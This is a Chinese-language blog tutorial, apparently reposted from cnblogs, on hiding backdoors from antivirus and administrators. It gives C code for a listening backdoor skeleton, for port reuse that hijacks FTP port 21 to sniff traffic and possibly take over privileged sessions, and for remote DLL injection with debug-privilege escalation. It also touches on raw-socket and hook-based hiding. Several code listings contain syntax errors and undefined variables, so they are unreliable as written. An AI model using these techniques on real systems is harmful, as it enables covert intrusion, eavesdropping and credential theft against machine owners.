浅析后门隐藏技术

浅析后门隐藏技术

经 常在网上“飘”的朋友相信对后门这个名称一定很熟悉,其实后门也是一种程序,而由于它的用途的原因,它被广大的杀毒软件列为“通缉犯”,而且见到它便会痛 下杀手,使那些使用后门的朋友痛心欲绝,正因如此,在这被杀和免杀之间,后门的等级得到不断的提升,从后门的原始社会进入了后门的共产主义社会(有点夸 张,其实个人认为,共产主义社会是不可能达到的;),好了,回到主题:

1.什么是后门
后门是一种远程的通信工具,使用者可以利 用后门来做一系列的事情,比如:修改注册表、杀死进程、上传下载等等。由于绝大部分的后门都未经过远程主机拥有者同意而被安装上去的,而且它们在使用的过 程中会占用主机上的资源(自己的机子上的资料被别人非法占用,那可是非常不爽的),甚至被用来做一些非法的事情使远程主机拥有者无辜受害,因此它被列为病 毒也是合情合理;) 。

2.常见的后门
现在网上面的后门,真的是多不胜数,而常见有名的有winshell(孤独剑客的作 品),winEggdrop(至今所见功能最齐全的后门,可能有更齐全的,但我没见过),wolf(美女黑客wolf的作品,不知道谁是wolf不要紧, 知道睡在她旁边的叫glacier就够了,如果你连谁是gladier都不知道,小子,你不用混了),byshell(白远方的作品,用起来不错),还有 一些有名没名的,在此就不多说了。

3. 后门的隐藏技术
前面说过,后门是一种远程通信工具,因此它涉及了网络编程,又由于它用于对系统的操作,因此它也涉及到系统编程,到目前为止,大部分后门都是用C/C++编写的,而其中又以C居多,因为对系统底层的编程,用C是最方便的。在这里,我先从网络编程讲起:

1)、网络编程基础
因为后门被用作服务端,所以这里我们只谈论服务段的编写,用的函数有WSAStartup()、socket()、bind()、accept()、send()等,如果你不知道它们有什么用,请参阅微软MSDN,这里有一个简单的例子:
#include <stdio.h>
#include <winsock.h>
#pragma comment(lib,"Ws2_32")

int main()
{
SOCKET mysock,tsock,           // 定义套接字
struct sockaddr_in my_addr;       // 本地地址信息
struct sockaddr_in their_addr;     // 连接者地址信息
int sin_size;

WSADATA wsa;
WSAStartup(MAKEWORD(2,2),&wsa);       //初始化Windows Socket Dll

//建立socket
mysock = socket(AF_INET, SOCK_STREAM, 0);

//bind本机的端口
my_addr.sin_family = AF_INET;               // 协议类型是INET
my_addr.sin_port = htons(1234);           // 绑定端口
my_addr.sin_addr.s_addr = INADDR_ANY;   // 本机IP
bind(mysock, (struct sockaddr *)&my_addr, sizeof(struct sockaddr));

//listen,监听端口
listen(mysock, 10); // 等待连接数目
printf("listen......");
//等待客户端连接
sin_size = sizeof(struct sockaddr_in);
tsock = accept(mysock, (struct sockaddr *)&their_addr, &sin_size);

//有连接就发送Hello,zrqfzr!字符串过去
send(tsock, "Hello,zrqfzr!\n", sizeof(“Hello,zrqfzr!\n”), 0);
printf("send ok!\n");

//成功,关闭套接字
closesocket(sockfd);
closesocket(new_fd);

return 0;
}
这个例子看起来简单,不过这就是后门的雏形了,大家可以看出其流程是WSAStaartup()->socket()->bind()->accept()-send(),功能不多,要实现更多的功能,那只是时间的问题了。

2)隐藏技术
常见的隐藏技术有:端口复用,Raw socket编程、远程注入DLL以及HOOK技术等。

a.       端口复用
原 理很简单,复用已经打开的端口,因为防火墙不会关闭所有的端口,因此,我们可以复用那些防火墙放行的端口,比如;80,21等等,这样做的话,就要把后门 做成嗅探器的形式,当它嗅探到指定形式数据的时候,再进行连接,这样的好处是能确保连接成功同时又不会被发现,主要是使用setsockopt()函数设 置socket的/SO_REUSEADDR选项就是可以实现端口重绑定的了,
s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val);

下面是一个简单的例子
#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

#pragma comment(lib, "Ws2_32")

DWORD WINAPI ClientThread(LPVOID lpParam);

int main()
{
WORD wVersionRequested;
DWORD ret;
WSADATA wsaData;
BOOL val;
SOCKADDR_IN saddr;
SOCKADDR_IN scaddr;
int err;
SOCKET s;
SOCKET sc;
int caddsize;
HANDLE mt;
DWORD tid;

wVersionRequested = MAKEWORD( 2, 2 );
err = WSAStartup( wVersionRequested, &wsaData );
if ( err != 0 ) {
printf("error!WSAStartup failed!\n");
return -1;
}
saddr.sin_family = AF_INET;

//截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
saddr.sin_addr.s_addr = inet_addr("192.168.0.10");
saddr.sin_port = htons(21);
if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
{
printf("error!socket failed!\n");
return -1;
}
val = TRUE;
//SO_REUSEADDR选项就是可以实现端口重绑定的
if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
{
printf("error!setsockopt failed!\n");
return -1;
}
//如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
//如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
//其实UDP端口一样可以这样重绑定利用,这儿主要以FTP服务为例子进行攻击
if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
{
ret=GetLastError();
printf("error!bind failed!\n");
return -1;
}
listen(s,2);
while(1)
{
caddsize = sizeof(scaddr);
//接受连接请求
sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
if(sc!=INVALID_SOCKET)
{
mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
if(mt==NULL)
{
printf("Thread Creat Failed!\n");
break;
}
}
CloseHandle(mt);
}
closesocket(s);
WSACleanup();
return 0;
}

DWORD WINAPI ClientThread(LPVOID lpParam)
{
SOCKET ss = (SOCKET)lpParam;
SOCKET sc;
unsigned char buf[4096];
SOCKADDR_IN saddr;
long num;
DWORD val;
DWORD ret;
//如果是隐藏端口应用的话,可以在此处加一些判断
//如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发

saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
saddr.sin_port = htons(21);
if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
{
printf("error!socket failed!\n");
return -1;
}
val = 100;
if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
{
ret = GetLastError();
return -1;
}
if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
{
ret = GetLastError();
return -1;
}
if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
{
printf("error!socket connect failed!\n");
closesocket(sc);
closesocket(ss);
return -1;
}
while(1)
{
//下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
//如果是嗅探内容的话,此处进行内容分析和记录
//如果是攻击如FTP服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
num = recv(ss,(char *)buf,4096,0);

if(num>0)
{
//嗅探打印
buf[num] = '\0';
printf("%s", buf);
send(sc,(char *)buf,num,0);
}
else if(num==0)
break;
num = recv(sc,(char *)buf,4096,0);
if(num>0)
send(ss,(char *)buf,num,0);
else if(num==0)
break;
}
closesocket(ss);
closesocket(sc);
return 0 ;
}
这个例子复用的是21端口,也就是FTP用的端口,大家也可以看一下wxhshell这个后门,它是winshell经火狐的虚灵幻者修改以后生成的后门,在winshell的基础上实现了端口复用,使winshell的功能变的更加强大。

b.       Raw socket编程
使 用raw编程可以使后门隐藏得非常好,因为使用了Raw socket编程技术的后门可以完全表现得无端口、无连接,穿透绝大部分防火墙,而且不仅是后 门,就连很多的攻击工具都采用了这用技术,比如Synflood,不过虽然可以用Raw socket编程实现后门编写,但由于采用此技术写的后门在传输 大数据的时候不稳定,而且编写的时候也比较麻烦,在此不过多讨论。大家如果有兴趣的话,可以到安全焦点上找一下refdom大哥写的有关 Raw socket 编程的文章,配合MSDN来看,定能事半功倍;)。

c.       远程注入DLL
没错,现在讨论的就是 传说中的远程注入技术,目前一种非常流行的隐藏技术,因为它没有进程,而前面讨论的两种方法都会有进程出现,因此,有经验的管理员很容易发现,然后先杀进 程,在找出后门文件删除。要实现远程注入,我们要编写两个程序,一个是后门文件,这里不是把它写成.exe文件,而是写成.dll文件,在这里先说一 下.dll文件,.dll文件,其实就是动态连接库,它里面装封了提供.exe文件调用的函数,一般情况下,双击它,是不能运行它的,它只能由.exe来 调用,于是就有了远程注入了,原理很简单:我们把后门的主要功能写成一个函数,然后装封到.dl文件中,然后再另外写一个执行文件来启动它,这样就不会有 后门的进程了。那远程注入又指什么呢?这个问题问得好,一般情况下,每个进程都有自己的私有空间,理论上,别的进程是不允许对这个私人空间进行操作的,但 是,我们可以利用一些方法进入这个空间并进行操作,将自己的代码写入正在运行的进程中,于是就有了远程注入了。
对dll后门的编写就不作过多的讨论了,现在来看实现注入功能的可执行文件的编写:
用到的函数有:
OpenProcessToken();
LookupPrivilegeValue();
AdjustTokenPrivileges();
OpenProcess();
VirtualAllocEx();
WriteProcessMemory();
GetProcAddress();
CreateRemoteThread();

先简单的介绍以下这些函数的作用,因为我们要操作的是系统中的其他进程,如果没有足够的系统权限,我们是无法写入甚至连读取其它进程的内存地址的,所以我们就需要提升自己的权限,用到以下3个函数
OpenProcessToken(); //打开进程令牌
LookupPrivilegeValue();//返回一个本地系统独一无二的ID,用于系统权限更改
AdjustTokenPrivileges();//从英文意思也能看出它是更改进程权限用的吧?

进入宿主进程的内存空间
在 拥有了进入宿主进程空间的权限之后,我们就需要在其内存加入让它加载我们后门的代码了,用LoadLibraryA()函数就可以加载我们的DLL了,它 只需要DLL文件的路径就可以了,在这里我们要把DLL文件的路径写入到宿主的内存空间里,因为DLL的文件路径并不存在于宿主进程内存空间了,用到的函 数有:
OpenProcess();//用于修改宿主进程的一些属性,详细参看MSDN
VirtualAllocEx();//用于在宿主内存空间中申请内存空间以写入DLL的文件名
WriteProcessMemory();//往申请到的空间中写入DLL的文件名

在宿主中启动新的线程
用 的是LoadLibraryA()函数来加载,但在使用LoadLibraryA()之前必须知道它的入口地址,所以用GetProcAdress来获得 它的入口地址,有了它的地址以后,就可以用CreateRemoteThread()函数来启动新的线程了,到次,整个注入过程完成,不过还不非常完善, 这就留给聪明的你来完成了;)。
简单的例子:
#include "stdafx.h"

int EnableDebugPriv(const char * name)
{
HANDLE hToken;
TOKEN_PRIVILEGES tp;
LUID luid;
//打开进程令牌环
OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,
&hToken);
//获得进程本地唯一ID
LookupPrivilegeValue(NULL,name,&luid)

tp.PrivilegeCount = 1;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
tp.Privileges[0].Luid = luid;
//调整权限
AdjustTokenPrivileges(hToken,0,&tp,sizeof(TOKEN_PRIVILEGES),NULL,NULL);
return 0;
}

BOOL InjectDll(const char *DllFullPath, const DWORD dwRemoteProcessId)
{
HANDLE hRemoteProcess;
EnableDebugPriv(SE_DEBUG_NAME)
//打开远程线程
hRemoteProcess = OpenProcess( PROCESS_CREATE_THREAD | //允许远程创建线程PROCESS_VM_OPERATION | //允许远程VM操作
PROCESS_VM_WRITE,//允许远程VM写
FALSE, dwRemoteProcessId );
char *pszLibFileRemote;
//使用VirtualAllocEx函数在远程进程的内存地址空间分配DLL文件名空间
pszLibFileRemote = (char *) VirtualAllocEx( hRemoteProcess, NULL, lstrlen(DllFullPath)+1,
MEM_COMMIT, PAGE_READWRITE);
//使用WriteProcessMemory函数将DLL的路径名写入到远程进程的内存空间
WriteProcessMemory(hRemoteProcess,
pszLibFileRemote, (void *) DllFullPath, lstrlen(DllFullPath)+1, NULL);
//计算LoadLibraryA的入口地址
PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)
GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryA");

//启动远程线程LoadLibraryA,通过远程线程调用创建新的线程
HANDLE hRemoteThread;
if( (hRemoteThread = CreateRemoteThread( hRemoteProcess, NULL, 0, pfnStartAddr, pszLibFileRemote, 0, NULL) ) == NULL)
{
printf("CreateRemoteThread error!\n");
return FALSE;
}

return TRUE;
}

int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR     lpCmdLine,
int     nCmdShow)
{
InjectDll("c:\\zrqfzr.dll",3060) //这个数字是你想注入的进程的ID号
return 0;
}
d.       Hook技术
Hook,即钩子,大家知道,WINDOWS是基于消息机制的,而Hook的本意是从系统正常的消息作业中把要监听的消息钩出来,先进入自己的代码中操作一番,之后在把消息放回正常的作业中;或者把该消息结束,不让系统其它进程得到和处理它。
据 我所知,大部分大盗号木马都是采用了Hook技术才达到盗号目的的,因为号码和密码的传递也是基于消息机制的,但具体如何实现盗号,我没深入研究,所以这 里说不清楚,而常见的利用Hook技术隐藏后门的方法包括Hook recv函数/Hook WSARecv函数,修改IAT导入地址表等。因为要实现隐 藏需要较深的系统编程功底,而且占用较多的时间来讲解,恐怕会浪费大家时间,所以在此也不详细讨论,大家有兴趣可以上网找一下相关的资料。
其实要实现后门的隐藏,方法远不止这几种,只要大家平时多留心,一定能学到更多更好的隐藏技术!
后记:
第一次写这样的技术文章,参考和引用了大量的资料,不敢称为原创,文章写的比较匆忙,难免会有错误的地方,高手不幸看了别笑话哦,大家发现错误的地方或者有好的想法,欢迎交流。

原文链接: https://www.cnblogs.com/adodo1/archive/2012/07/15/4327040.html

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